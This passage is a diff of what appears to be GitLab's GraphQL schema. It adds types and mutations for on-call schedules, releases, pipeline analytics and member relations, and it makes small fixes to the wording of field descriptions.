- - """ - The item at the end of the edge. - """ - node: Group -} - -""" Identifier of Group """ scalar GroupID @@ -9846,6 +10517,26 @@ type GroupMemberEdge { node: GroupMember } +""" +Group member relation +""" +enum GroupMemberRelation { + """ + Descendants members + """ + DESCENDANTS + + """ + Direct members + """ + DIRECT + + """ + Inherited members + """ + INHERITED +} + type GroupPermissions { """ Indicates the user can perform `read_group` on this resource @@ -9944,7 +10635,7 @@ input HttpIntegrationDestroyInput { clientMutationId: String """ - The id of the integration to remove + The ID of the integration to remove """ id: AlertManagementHttpIntegrationID! } @@ -9979,7 +10670,7 @@ input HttpIntegrationResetTokenInput { clientMutationId: String """ - The id of the integration to mutate + The ID of the integration to mutate """ id: AlertManagementHttpIntegrationID! } @@ -10019,7 +10710,7 @@ input HttpIntegrationUpdateInput { clientMutationId: String """ - The id of the integration to mutate + The ID of the integration to mutate """ id: AlertManagementHttpIntegrationID! @@ -10054,6 +10745,66 @@ An ISO 8601-encoded date """ scalar ISO8601Date +""" +Describes an incident management on-call schedule +""" +type IncidentManagementOncallSchedule { + """ + Description of the on-call schedule + """ + description: String + + """ + Internal ID of the on-call schedule + """ + iid: ID! + + """ + Name of the on-call schedule + """ + name: String! + + """ + Time zone of the on-call schedule + """ + timezone: String! +} + +""" +The connection type for IncidentManagementOncallSchedule. +""" +type IncidentManagementOncallScheduleConnection { + """ + A list of edges. + """ + edges: [IncidentManagementOncallScheduleEdge] + + """ + A list of nodes. + """ + nodes: [IncidentManagementOncallSchedule] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type IncidentManagementOncallScheduleEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: IncidentManagementOncallSchedule +} + type InstanceSecurityDashboard { """ Projects selected in Instance Security Dashboard @@ -10273,12 +11024,12 @@ type Issue implements CurrentUserTodos & Noteable { author: User! """ - Indicates the issue is blocked + Indicates the issue is blocked. """ blocked: Boolean! """ - Count of issues blocking this issue + Count of issues blocking this issue. """ blockedByCount: Int @@ -10388,12 +11139,12 @@ type Issue implements CurrentUserTodos & Noteable { emailsDisabled: Boolean! """ - Epic to which this issue belongs + Epic to which this issue belongs. """ epic: Epic """ - Current health status. Returns null if `save_issuable_health_status` feature flag is disabled. + Current health status. """ healthStatus: HealthStatus @@ -10418,7 +11169,7 @@ type Issue implements CurrentUserTodos & Noteable { iid: ID! """ - Iteration of the issue + Iteration of the issue. """ iteration: Iteration @@ -10448,6 +11199,11 @@ type Issue implements CurrentUserTodos & Noteable { ): LabelConnection """ + Metric images associated to the issue. + """ + metricImages: [MetricImage!] + + """ Milestone of the issue """ milestone: Milestone @@ -10543,7 +11299,7 @@ type Issue implements CurrentUserTodos & Noteable { state: IssueState! """ - Indicates whether an issue is published to the status page + Indicates whether an issue is published to the status page. """ statusPagePublishedIncident: Boolean @@ -10623,7 +11379,7 @@ type Issue implements CurrentUserTodos & Noteable { webUrl: String! """ - Weight of the issue + Weight of the issue. """ weight: Int } @@ -11360,22 +12116,22 @@ enum IssueSort { """ Created at ascending order """ - created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5") + created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5.") """ Created at descending order """ - created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5") + created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5.") """ Updated at ascending order """ - updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5") + updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5.") """ Updated at descending order """ - updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5") + updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5.") } """ @@ -11584,6 +12340,11 @@ enum IterationWildcardId { ANY """ + Current iteration + """ + CURRENT + + """ No iteration is assigned """ NONE @@ -11889,11 +12650,41 @@ input JiraUsersMappingInputType { gitlabId: Int """ - Jira account id of the user + Jira account ID of the user """ jiraAccountId: String! } +enum JobArtifactFileType { + ACCESSIBILITY + API_FUZZING + ARCHIVE + BROWSER_PERFORMANCE + CLUSTER_APPLICATIONS + COBERTURA + CODEQUALITY + CONTAINER_SCANNING + COVERAGE_FUZZING + DAST + DEPENDENCY_SCANNING + DOTENV + JUNIT + LICENSE_MANAGEMENT + LICENSE_SCANNING + LOAD_PERFORMANCE + LSIF + METADATA + METRICS + METRICS_REFEREE + NETWORK_REFEREE + PERFORMANCE + REQUIREMENTS + SAST + SECRET_DETECTION + TERRAFORM + TRACE +} + type Label { """ Background color of the label @@ -12052,7 +12843,7 @@ input MarkAsSpamSnippetInput { clientMutationId: String """ - The global id of the snippet to update + The global ID of the snippet to update """ id: SnippetID! } @@ -12286,11 +13077,41 @@ type MergeRequest implements CurrentUserTodos & Noteable { autoMergeEnabled: Boolean! """ + Array of available auto merge strategies + """ + availableAutoMergeStrategies: [String!] + + """ Number of commits in the merge request """ commitCount: Int """ + Merge request commits excluding merge commits + """ + commitsWithoutMergeCommits( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): CommitConnection + + """ Indicates if the merge request has conflicts """ conflicts: Boolean! @@ -12336,6 +13157,11 @@ type MergeRequest implements CurrentUserTodos & Noteable { defaultMergeCommitMessage: String """ + Default merge commit message of the merge request with description + """ + defaultMergeCommitMessageWithDescription: String + + """ Description of the merge request (Markdown rendered as HTML for caching) """ description: String @@ -12411,6 +13237,11 @@ type MergeRequest implements CurrentUserTodos & Noteable { forceRemoveSourceBranch: Boolean """ + Indicates if the merge request has CI + """ + hasCi: Boolean! + + """ The pipeline running on the branch HEAD of the merge request """ headPipeline: Pipeline @@ -12476,11 +13307,20 @@ type MergeRequest implements CurrentUserTodos & Noteable { mergeStatus: String """ + """ + mergeTrainsCount: Int + + """ Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS) """ mergeWhenPipelineSucceeds: Boolean """ + Indicates if the merge request is mergeable + """ + mergeable: Boolean! + + """ Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged """ mergeableDiscussionsState: Boolean @@ -12546,7 +13386,8 @@ type MergeRequest implements CurrentUserTodos & Noteable { ): UserConnection """ - Pipelines for the merge request + Pipelines for the merge request. Note: for performance reasons, no more than + the most recent 500 pipelines will be returned. """ pipelines( """ @@ -12616,6 +13457,11 @@ type MergeRequest implements CurrentUserTodos & Noteable { ): String! """ + Indicates if the merge request is created by @GitLab-Security-Bot. + """ + securityAutoFix: Boolean + + """ Indicates if the merge request will be rebased """ shouldBeRebased: Boolean! @@ -12636,6 +13482,11 @@ type MergeRequest implements CurrentUserTodos & Noteable { sourceBranchExists: Boolean! """ + Indicates if the source branch is protected + """ + sourceBranchProtected: Boolean! + + """ Source project of the merge request """ sourceProject: Project @@ -12646,6 +13497,11 @@ type MergeRequest implements CurrentUserTodos & Noteable { sourceProjectId: Int """ + Indicates if squash on merge is enabled + """ + squashOnMerge: Boolean! + + """ State of the merge request """ state: MergeRequestState! @@ -12759,6 +13615,11 @@ type MergeRequestConnection { Information to aid in pagination. """ pageInfo: PageInfo! + + """ + Total sum of time to merge, in seconds, for the collection of merge requests + """ + totalTimeToMerge: Float } """ @@ -12986,7 +13847,7 @@ input MergeRequestSetAssigneesInput { clientMutationId: String """ - The iid of the merge request to mutate + The IID of the merge request to mutate """ iid: String! @@ -13031,7 +13892,7 @@ input MergeRequestSetLabelsInput { clientMutationId: String """ - The iid of the merge request to mutate + The IID of the merge request to mutate """ iid: String! @@ -13081,7 +13942,7 @@ input MergeRequestSetLockedInput { clientMutationId: String """ - The iid of the merge request to mutate + The IID of the merge request to mutate """ iid: String! @@ -13126,7 +13987,7 @@ input MergeRequestSetMilestoneInput { clientMutationId: String """ - The iid of the merge request to mutate + The IID of the merge request to mutate """ iid: String! @@ -13171,7 +14032,7 @@ input MergeRequestSetSubscriptionInput { clientMutationId: String """ - The iid of the merge request to mutate + The IID of the merge request to mutate """ iid: String! @@ -13216,7 +14077,7 @@ input MergeRequestSetWipInput { clientMutationId: String """ - The iid of the merge request to mutate + The IID of the merge request to mutate """ iid: String! @@ -13318,22 +14179,22 @@ enum MergeRequestSort { """ Created at ascending order """ - created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5") + created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5.") """ Created at descending order """ - created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5") + created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5.") """ Updated at ascending order """ - updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5") + updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5.") """ Updated at descending order """ - updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5") + updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5.") } """ @@ -13362,7 +14223,7 @@ input MergeRequestUpdateInput { description: String """ - The iid of the merge request to mutate + The IID of the merge request to mutate """ iid: String! @@ -13414,6 +14275,36 @@ type Metadata { version: String! } +""" +Represents a metric image upload +""" +type MetricImage { + """ + File name of the metric image + """ + fileName: String + + """ + File path of the metric image + """ + filePath: String + + """ + ID of the metric upload + """ + id: ID! + + """ + Internal ID of the metric upload + """ + iid: ID! + + """ + URL of the metric source + """ + url: String! +} + type MetricsDashboard { """ Annotations added to the dashboard @@ -13679,7 +14570,7 @@ enum MoveType { } type Mutation { - addAwardEmoji(input: AddAwardEmojiInput!): AddAwardEmojiPayload @deprecated(reason: "Use awardEmojiAdd. Deprecated in 13.2") + addAwardEmoji(input: AddAwardEmojiInput!): AddAwardEmojiPayload @deprecated(reason: "Use awardEmojiAdd. Deprecated in 13.2.") addProjectToSecurityDashboard(input: AddProjectToSecurityDashboardInput!): AddProjectToSecurityDashboardPayload adminSidekiqQueuesDeleteJobs(input: AdminSidekiqQueuesDeleteJobsInput!): AdminSidekiqQueuesDeleteJobsPayload alertSetAssignees(input: AlertSetAssigneesInput!): AlertSetAssigneesPayload @@ -13699,11 +14590,13 @@ type Mutation { createBoard(input: CreateBoardInput!): CreateBoardPayload createBranch(input: CreateBranchInput!): CreateBranchPayload createClusterAgent(input: CreateClusterAgentInput!): CreateClusterAgentPayload + createComplianceFramework(input: CreateComplianceFrameworkInput!): CreateComplianceFrameworkPayload """ - . Available only when feature flag `custom_emoji` is enabled + Available only when feature flag `custom_emoji` is enabled. """ createCustomEmoji(input: CreateCustomEmojiInput!): CreateCustomEmojiPayload + createDevopsAdoptionSegment(input: CreateDevopsAdoptionSegmentInput!): CreateDevopsAdoptionSegmentPayload createDiffNote(input: CreateDiffNoteInput!): CreateDiffNotePayload createEpic(input: CreateEpicInput!): CreateEpicPayload createImageDiffNote(input: CreateImageDiffNoteInput!): CreateImageDiffNotePayload @@ -13723,12 +14616,15 @@ type Mutation { dastSiteTokenCreate(input: DastSiteTokenCreateInput!): DastSiteTokenCreatePayload dastSiteValidationCreate(input: DastSiteValidationCreateInput!): DastSiteValidationCreatePayload deleteAnnotation(input: DeleteAnnotationInput!): DeleteAnnotationPayload + deleteDevopsAdoptionSegment(input: DeleteDevopsAdoptionSegmentInput!): DeleteDevopsAdoptionSegmentPayload designManagementDelete(input: DesignManagementDeleteInput!): DesignManagementDeletePayload designManagementMove(input: DesignManagementMoveInput!): DesignManagementMovePayload designManagementUpload(input: DesignManagementUploadInput!): DesignManagementUploadPayload destroyBoard(input: DestroyBoardInput!): DestroyBoardPayload destroyBoardList(input: DestroyBoardListInput!): DestroyBoardListPayload + destroyComplianceFramework(input: DestroyComplianceFrameworkInput!): DestroyComplianceFrameworkPayload destroyContainerRepository(input: DestroyContainerRepositoryInput!): DestroyContainerRepositoryPayload + destroyContainerRepositoryTags(input: DestroyContainerRepositoryTagsInput!): DestroyContainerRepositoryTagsPayload destroyNote(input: DestroyNoteInput!): DestroyNotePayload destroySnippet(input: DestroySnippetInput!): DestroySnippetPayload @@ -13736,7 +14632,7 @@ type Mutation { Toggles the resolved state of a discussion """ discussionToggleResolve(input: DiscussionToggleResolveInput!): DiscussionToggleResolvePayload - dismissVulnerability(input: DismissVulnerabilityInput!): DismissVulnerabilityPayload @deprecated(reason: "Use vulnerabilityDismiss. Deprecated in 13.5") + dismissVulnerability(input: DismissVulnerabilityInput!): DismissVulnerabilityPayload @deprecated(reason: "Use vulnerabilityDismiss. Deprecated in 13.5.") environmentsCanaryIngressUpdate(input: EnvironmentsCanaryIngressUpdateInput!): EnvironmentsCanaryIngressUpdatePayload epicAddIssue(input: EpicAddIssueInput!): EpicAddIssuePayload epicSetSubscription(input: EpicSetSubscriptionInput!): EpicSetSubscriptionPayload @@ -13773,6 +14669,9 @@ type Mutation { """ mergeRequestUpdate(input: MergeRequestUpdateInput!): MergeRequestUpdatePayload namespaceIncreaseStorageTemporarily(input: NamespaceIncreaseStorageTemporarilyInput!): NamespaceIncreaseStorageTemporarilyPayload + oncallScheduleCreate(input: OncallScheduleCreateInput!): OncallScheduleCreatePayload + oncallScheduleDestroy(input: OncallScheduleDestroyInput!): OncallScheduleDestroyPayload + oncallScheduleUpdate(input: OncallScheduleUpdateInput!): OncallScheduleUpdatePayload pipelineCancel(input: PipelineCancelInput!): PipelineCancelPayload pipelineDestroy(input: PipelineDestroyInput!): PipelineDestroyPayload pipelineRetry(input: PipelineRetryInput!): PipelineRetryPayload @@ -13781,15 +14680,17 @@ type Mutation { prometheusIntegrationUpdate(input: PrometheusIntegrationUpdateInput!): PrometheusIntegrationUpdatePayload promoteToEpic(input: PromoteToEpicInput!): PromoteToEpicPayload releaseCreate(input: ReleaseCreateInput!): ReleaseCreatePayload - removeAwardEmoji(input: RemoveAwardEmojiInput!): RemoveAwardEmojiPayload @deprecated(reason: "Use awardEmojiRemove. Deprecated in 13.2") + releaseDelete(input: ReleaseDeleteInput!): ReleaseDeletePayload + releaseUpdate(input: ReleaseUpdateInput!): ReleaseUpdatePayload + removeAwardEmoji(input: RemoveAwardEmojiInput!): RemoveAwardEmojiPayload @deprecated(reason: "Use awardEmojiRemove. Deprecated in 13.2.") removeProjectFromSecurityDashboard(input: RemoveProjectFromSecurityDashboardInput!): RemoveProjectFromSecurityDashboardPayload """ Repositions a DiffNote on an image (a `Note` where the `position.positionType` is `"image"`) """ repositionImageDiffNote(input: RepositionImageDiffNoteInput!): RepositionImageDiffNotePayload - revertVulnerabilityToDetected(input: RevertVulnerabilityToDetectedInput!): RevertVulnerabilityToDetectedPayload @deprecated(reason: "Use vulnerabilityRevertToDetected. Deprecated in 13.5") - runDastScan(input: RunDASTScanInput!): RunDASTScanPayload @deprecated(reason: "Use DastOnDemandScanCreate. Deprecated in 13.4") + revertVulnerabilityToDetected(input: RevertVulnerabilityToDetectedInput!): RevertVulnerabilityToDetectedPayload @deprecated(reason: "Use vulnerabilityRevertToDetected. Deprecated in 13.5.") + runDastScan(input: RunDASTScanInput!): RunDASTScanPayload @deprecated(reason: "Use DastOnDemandScanCreate. Deprecated in 13.4.") terraformStateDelete(input: TerraformStateDeleteInput!): TerraformStateDeletePayload terraformStateLock(input: TerraformStateLockInput!): TerraformStateLockPayload terraformStateUnlock(input: TerraformStateUnlockInput!): TerraformStateUnlockPayload @@ -13798,12 +14699,14 @@ type Mutation { todoRestore(input: TodoRestoreInput!): TodoRestorePayload todoRestoreMany(input: TodoRestoreManyInput!): TodoRestoreManyPayload todosMarkAllDone(input: TodosMarkAllDoneInput!): TodosMarkAllDonePayload - toggleAwardEmoji(input: ToggleAwardEmojiInput!): ToggleAwardEmojiPayload @deprecated(reason: "Use awardEmojiToggle. Deprecated in 13.2") + toggleAwardEmoji(input: ToggleAwardEmojiInput!): ToggleAwardEmojiPayload @deprecated(reason: "Use awardEmojiToggle. Deprecated in 13.2.") updateAlertStatus(input: UpdateAlertStatusInput!): UpdateAlertStatusPayload updateBoard(input: UpdateBoardInput!): UpdateBoardPayload updateBoardEpicUserPreferences(input: UpdateBoardEpicUserPreferencesInput!): UpdateBoardEpicUserPreferencesPayload updateBoardList(input: UpdateBoardListInput!): UpdateBoardListPayload + updateComplianceFramework(input: UpdateComplianceFrameworkInput!): UpdateComplianceFrameworkPayload updateContainerExpirationPolicy(input: UpdateContainerExpirationPolicyInput!): UpdateContainerExpirationPolicyPayload + updateDevopsAdoptionSegment(input: UpdateDevopsAdoptionSegmentInput!): UpdateDevopsAdoptionSegmentPayload updateEpic(input: UpdateEpicInput!): UpdateEpicPayload """ @@ -13824,6 +14727,8 @@ type Mutation { updateSnippet(input: UpdateSnippetInput!): UpdateSnippetPayload vulnerabilityConfirm(input: VulnerabilityConfirmInput!): VulnerabilityConfirmPayload vulnerabilityDismiss(input: VulnerabilityDismissInput!): VulnerabilityDismissPayload + vulnerabilityExternalIssueLinkCreate(input: VulnerabilityExternalIssueLinkCreateInput!): VulnerabilityExternalIssueLinkCreatePayload + vulnerabilityExternalIssueLinkDestroy(input: VulnerabilityExternalIssueLinkDestroyInput!): VulnerabilityExternalIssueLinkDestroyPayload vulnerabilityResolve(input: VulnerabilityResolveInput!): VulnerabilityResolvePayload vulnerabilityRevertToDetected(input: VulnerabilityRevertToDetectedInput!): VulnerabilityRevertToDetectedPayload } @@ -13860,6 +14765,32 @@ type Namespace { additionalPurchasedStorageSize: Float """ + Compliance frameworks available to projects in this namespace Available only + when feature flag `ff_custom_compliance_frameworks` is enabled. + """ + complianceFrameworks( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): ComplianceFrameworkConnection + + """ Includes at least one project where the repository size exceeds the limit """ containsLockedProjects: Boolean! @@ -14045,7 +14976,7 @@ input NamespaceIncreaseStorageTemporarilyInput { clientMutationId: String """ - The global id of the namespace to mutate + The global ID of the namespace to mutate """ id: NamespaceID! } @@ -14349,6 +15280,151 @@ Identifier of Noteable scalar NoteableID """ +Autogenerated input type of OncallScheduleCreate +""" +input OncallScheduleCreateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The description of the on-call schedule + """ + description: String + + """ + The name of the on-call schedule + """ + name: String! + + """ + The project to create the on-call schedule in + """ + projectPath: ID! + + """ + The timezone of the on-call schedule + """ + timezone: String! +} + +""" +Autogenerated return type of OncallScheduleCreate +""" +type OncallScheduleCreatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The on-call schedule + """ + oncallSchedule: IncidentManagementOncallSchedule +} + +""" +Autogenerated input type of OncallScheduleDestroy +""" +input OncallScheduleDestroyInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The on-call schedule internal ID to remove + """ + iid: String! + + """ + The project to remove the on-call schedule from + """ + projectPath: ID! +} + +""" +Autogenerated return type of OncallScheduleDestroy +""" +type OncallScheduleDestroyPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The on-call schedule + """ + oncallSchedule: IncidentManagementOncallSchedule +} + +""" +Autogenerated input type of OncallScheduleUpdate +""" +input OncallScheduleUpdateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The description of the on-call schedule + """ + description: String + + """ + The on-call schedule internal ID to update + """ + iid: String! + + """ + The name of the on-call schedule + """ + name: String + + """ + The project to update the on-call schedule in + """ + projectPath: ID! + + """ + The timezone of the on-call schedule + """ + timezone: String +} + +""" +Autogenerated return type of OncallScheduleUpdate +""" +type OncallScheduleUpdatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The on-call schedule + """ + oncallSchedule: IncidentManagementOncallSchedule +} + +""" Represents a package """ type Package { @@ -14572,6 +15648,11 @@ type PageInfo { type Pipeline { """ + Indicates if the pipeline is active + """ + active: Boolean! + + """ Base SHA of the source branch """ beforeSha: String @@ -14770,6 +15851,63 @@ type Pipeline { userPermissions: PipelinePermissions! } +type PipelineAnalytics { + """ + Labels for the monthly pipeline count + """ + monthPipelinesLabels: [String!] + + """ + Total monthly successful pipeline count + """ + monthPipelinesSuccessful: [Int!] + + """ + Total monthly pipeline count + """ + monthPipelinesTotals: [Int!] + + """ + Pipeline times labels + """ + pipelineTimesLabels: [String!] + + """ + Pipeline times + """ + pipelineTimesValues: [Int!] + + """ + Labels for the weekly pipeline count + """ + weekPipelinesLabels: [String!] + + """ + Total weekly successful pipeline count + """ + weekPipelinesSuccessful: [Int!] + + """ + Total weekly pipeline count + """ + weekPipelinesTotals: [Int!] + + """ + Labels for the yearly pipeline count + """ + yearPipelinesLabels: [String!] + + """ + Total yearly successful pipeline count + """ + yearPipelinesSuccessful: [Int!] + + """ + Total yearly pipeline count + """ + yearPipelinesTotals: [Int!] +} + """ Autogenerated input type of PipelineCancel """ @@ -14780,7 +15918,7 @@ input PipelineCancelInput { clientMutationId: String """ - The id of the pipeline to mutate + The ID of the pipeline to mutate """ id: CiPipelineID! } @@ -14846,7 +15984,7 @@ input PipelineDestroyInput { clientMutationId: String """ - The id of the pipeline to mutate + The ID of the pipeline to mutate """ id: CiPipelineID! } @@ -14908,7 +16046,7 @@ input PipelineRetryInput { clientMutationId: String """ - The id of the pipeline to mutate + The ID of the pipeline to mutate """ id: CiPipelineID! } @@ -14963,6 +16101,11 @@ type Project { assigneeUsername: String """ + Filter query for given domain + """ + domain: AlertManagementDomainFilter! = operations + + """ IID of the alert. For example, "1" """ iid: String @@ -15018,6 +16161,11 @@ type Project { before: String """ + Filter query for given domain + """ + domain: AlertManagementDomainFilter! = operations + + """ Returns the first _n_ elements from the list. """ first: Int @@ -15135,6 +16283,11 @@ type Project { ): BoardConnection """ + CI/CD settings for the project + """ + ciCdSettings: ProjectCiCdSetting + + """ Find a single cluster agent by name """ clusterAgent( @@ -15240,6 +16393,11 @@ type Project { ): ContainerRepositoryConnection """ + Number of container repositories in the project + """ + containerRepositoriesCount: Int! + + """ Timestamp of the project creation """ createdAt: Time @@ -15305,16 +16463,53 @@ type Project { ): DastSiteProfileConnection """ - DAST Site Validation associated with the project + DAST Site Validation associated with the project. Will always return `null` if + `security_on_demand_scans_site_validation` is disabled """ dastSiteValidation( """ - target URL of the DAST Site Validation + Normalized URL of the target to be scanned + """ + normalizedTargetUrls: [String!] + + """ + URL of the target to be scanned """ targetUrl: String! ): DastSiteValidation """ + DAST Site Validations associated with the project. Will always return no nodes + if `security_on_demand_scans_site_validation` is disabled + """ + dastSiteValidations( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Normalized URL of the target to be scanned + """ + normalizedTargetUrls: [String!] + ): DastSiteValidationConnection + + """ Short description of the project """ description: String @@ -15420,6 +16615,31 @@ type Project { importStatus: String """ + Incident Management On-call schedules of the project + """ + incidentManagementOncallSchedules( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): IncidentManagementOncallScheduleConnection + + """ A single issue of the project """ issue( @@ -15755,7 +16975,7 @@ type Project { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use timeframe.end + date is provided, both must be present) Deprecated in 13.5: Use timeframe.end. """ endDate: Time @@ -15765,17 +16985,17 @@ type Project { first: Int """ - The ID of the Iteration to look up + Global ID of the Iteration to look up. """ id: ID """ - The internal ID of the Iteration to look up + Internal ID of the Iteration to look up. """ iid: ID """ - Whether to include ancestor iterations. Defaults to true + Whether to include ancestor iterations. Defaults to true. """ includeAncestors: Boolean @@ -15786,13 +17006,13 @@ type Project { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use - timeframe.start + date is provided, both must be present) Deprecated in 13.5: Use + timeframe.start. """ startDate: Time """ - Filter iterations by state + Filter iterations by state. """ state: IterationState @@ -15802,7 +17022,7 @@ type Project { timeframe: Timeframe """ - Fuzzy search by title + Fuzzy search by title. """ title: String ): IterationConnection @@ -15962,6 +17182,11 @@ type Project { milestoneTitle: String """ + Username of the reviewer + """ + reviewerUsername: String + + """ Sort merge requests by this criteria """ sort: MergeRequestSort = created_desc @@ -16015,7 +17240,7 @@ type Project { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use timeframe.end + date is provided, both must be present) Deprecated in 13.5: Use timeframe.end. """ endDate: Time @@ -16046,8 +17271,8 @@ type Project { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use - timeframe.start + date is provided, both must be present) Deprecated in 13.5: Use + timeframe.start. """ startDate: Time @@ -16138,6 +17363,11 @@ type Project { ): Pipeline """ + Pipeline analytics + """ + pipelineAnalytics: PipelineAnalytics + + """ Build pipelines of the project """ pipelines( @@ -16208,6 +17438,11 @@ type Project { last: Int """ + Filter members by the given member relations + """ + relations: [ProjectMemberRelation!] = [DIRECT, INHERITED] + + """ Search query """ search: String @@ -16494,6 +17729,11 @@ type Project { snippetsEnabled: Boolean """ + Indicates if squash readonly is enabled + """ + squashReadOnly: Boolean! + + """ URL to connect to the project via SSH """ sshUrlToRepo: String @@ -16544,6 +17784,11 @@ type Project { ): TerraformStateConnection """ + Total pipeline duration for all of the pipelines in a project + """ + totalPipelineDuration: Int + + """ Permissions for the current user on the resource """ userPermissions: ProjectPermissions! @@ -16719,6 +17964,23 @@ type Project { wikiEnabled: Boolean } +type ProjectCiCdSetting { + """ + Whether merge pipelines are enabled. + """ + mergePipelinesEnabled: Boolean + + """ + Whether merge trains are enabled. + """ + mergeTrainsEnabled: Boolean + + """ + Project the CI/CD settings belong to. + """ + project: Project +} + """ The connection type for Project. """ @@ -16844,6 +18106,31 @@ type ProjectMemberEdge { node: ProjectMember } +""" +Project member relation +""" +enum ProjectMemberRelation { + """ + Descendants members + """ + DESCENDANTS + + """ + Direct members + """ + DIRECT + + """ + Inherited members + """ + INHERITED + + """ + Invited Groups members + """ + INVITED_GROUPS +} + type ProjectPermissions { """ Indicates the user can perform `admin_operations` on this resource @@ -17173,7 +18460,7 @@ input PrometheusIntegrationResetTokenInput { clientMutationId: String """ - The id of the integration to mutate + The ID of the integration to mutate """ id: PrometheusServiceID! } @@ -17218,7 +18505,7 @@ input PrometheusIntegrationUpdateInput { clientMutationId: String """ - The id of the integration to mutate + The ID of the integration to mutate """ id: PrometheusServiceID! } @@ -17300,6 +18587,16 @@ type PromoteToEpicPayload { type Query { """ + Get linted and processed contents of a CI config. Should not be requested more than once per request. + """ + ciConfig( + """ + Contents of .gitlab-ci.yml + """ + content: String! + ): CiConfig + + """ Find a container repository """ containerRepository( @@ -17791,8 +19088,8 @@ type Query { """ Number of vulnerabilities per severity level, per day, for the projects on the - current user's instance security dashboard. Deprecated in 13.3: Use - `vulnerabilitiesCountByDay` + current user's instance security dashboard Deprecated in 13.3: Use + `vulnerabilitiesCountByDay`. """ vulnerabilitiesCountByDayAndSeverity( """ @@ -17824,7 +19121,7 @@ type Query { First day for which to fetch vulnerability history """ startDate: ISO8601Date! - ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3") + ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3.") """ Find a vulnerability @@ -18263,6 +19560,46 @@ type ReleaseCreatePayload { } """ +Autogenerated input type of ReleaseDelete +""" +input ReleaseDeleteInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Full path of the project the release is associated with + """ + projectPath: ID! + + """ + Name of the tag associated with the release to delete. + """ + tagName: String! +} + +""" +Autogenerated return type of ReleaseDelete +""" +type ReleaseDeletePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The deleted release. + """ + release: Release +} + +""" An edge in a connection. """ type ReleaseEdge { @@ -18450,11 +19787,71 @@ type ReleaseSourceEdge { } """ +Autogenerated input type of ReleaseUpdate +""" +input ReleaseUpdateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Description (release notes) of the release + """ + description: String + + """ + The title of each milestone the release is associated with. GitLab Premium customers can specify group milestones. + """ + milestones: [String!] + + """ + Name of the release + """ + name: String + + """ + Full path of the project the release is associated with + """ + projectPath: ID! + + """ + The release date + """ + releasedAt: Time + + """ + Name of the tag associated with the release + """ + tagName: String! +} + +""" +Autogenerated return type of ReleaseUpdate +""" +type ReleaseUpdatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The release after mutation. + """ + release: Release +} + +""" Autogenerated input type of RemoveAwardEmoji """ input RemoveAwardEmojiInput { """ - The global id of the awardable resource + The global ID of the awardable resource """ awardableId: AwardableID! @@ -18529,7 +19926,7 @@ input RepositionImageDiffNoteInput { clientMutationId: String """ - The global id of the DiffNote to update + The global ID of the DiffNote to update """ id: 